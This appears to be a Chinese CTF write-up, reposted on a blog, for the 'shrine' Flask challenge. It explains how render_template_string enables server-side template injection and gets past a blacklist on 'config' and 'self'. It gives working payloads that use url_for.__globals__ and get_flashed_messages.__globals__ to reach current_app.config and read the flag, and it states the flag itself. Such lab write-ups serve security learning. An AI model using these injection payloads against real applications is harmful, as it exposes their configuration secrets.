打开靶机,发现源码是没有排序的python代码,CTRL+u 查看源码:
可知:引入了flask和os库,render_template_string()函数说明引入了SSTI(详见上一篇easy_tornado1),
@app.route('/shrine/
app.config['FLAG'] = os.environ.pop('FLAG') 说明注册了FLAG,而flag可能就在这里面,
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] 这两行说明他把(和)都替换成了空格,而且把config跟self加进了黑名单,那么就不能使用config来查看FLAG的内容了,没有过滤可以直接{undefined{config}}查看所有app.config。
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 这一行把blacklist里的所有东西遍历为空。
但是pythonflask框架有其他内置函数和·变量:Python中Flask框架的变量和函数 - 简书 (jianshu.com)
用内置函数url_for,构造payload:
/shrine/{{url_for.__globals__}}
图上传不了了,,救命,反正就是会发现一大堆代码,中间有个非常亮眼的 'current_app':
构建payload:/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
或者用get_flashed_message函数:
构建payload:
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
flag:flag{shrine_is_good_ssti}(岂可休,我上传不了图片orz)
拓展:
url_for:
会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接,经常用于超链接
get_flashed_message:
这个函数返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)